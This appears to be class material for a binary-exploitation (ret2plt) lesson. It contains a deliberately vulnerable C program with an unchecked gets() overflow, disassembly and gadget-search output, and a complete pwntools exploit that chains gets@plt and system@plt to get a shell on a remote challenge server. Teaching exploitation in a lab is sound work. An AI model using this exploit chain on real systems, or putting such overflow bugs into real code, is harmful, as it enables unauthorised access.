SCIST2026 PWN Class - ret2plt

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//  gcc chal.c -o chal -fno-stack-protector -no-pie 

void gadget() {
    __asm__(
        "pop %rdi;" 
        "ret;"      
    );
}

void init_IOBUF(){
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);    
}

int main() {
    init_IOBUF();
    char buffer[8];
    system("echo ret2plt!");

    gets(buffer);

    return 0;
}

checksec --file=chal

objdump -d chal |grep @plt

  4011ea:	e8 71 fe ff ff       	call   401060 <system@plt>
  4011fb:	e8 70 fe ff ff       	call   401070 <gets@plt>

0x404060:	0x0	0x0	0x0	0x0	0x0	0x0	0x0	0x0
0x404070:	0x0	0x0	0x0	0x0	0x0	0x0	0x0	0x0
0x404080:	0x0	0x0	0x0	0x0	0x0	0x0	0x0	0x0
0x404090:	0x0	0x0	0x0	0x0	0x0	0x0	0x0	0x0
0x4040a0:	0x0	0x0	0x0	0x0	0x0	0x0	0x0	0x0
0x4040b0:	0x0	0x0	0x0	0x0	0x0	0x0	0x0	0x0
0x4040c0:	0x0	0x0	0x0	0x0

gdb ./chal
set follow-fork-mode parent   # 跟父 process，不要跟進 shell
set detach-on-fork on
b main
run

0xdf58-0xdf48=0x10

ROPgadget --binary chal --only "pop|ret"|grep rdi

0x000000000040117e : pop rdi ; ret

p=flat(
  b'a'*0x10,
  pop_rdi,0x404060,
  0x401070,
  pop_rdi,0x404060,
  0x401060,
)

from pwn import *

context.arch = 'amd64'

host='66.235.110.67'
port=20006
r=remote(host,port)

pop_rdi=0x40117e
get_plt=0x401070
system_plt=0x401060
bss=0x404060
ret=0x40101a

p=flat(
    b'a'*0x10,
    pop_rdi,bss,
    get_plt,
    pop_rdi,bss,
    system_plt,
)
r.recvline()
r.sendline(p)
r.interactive()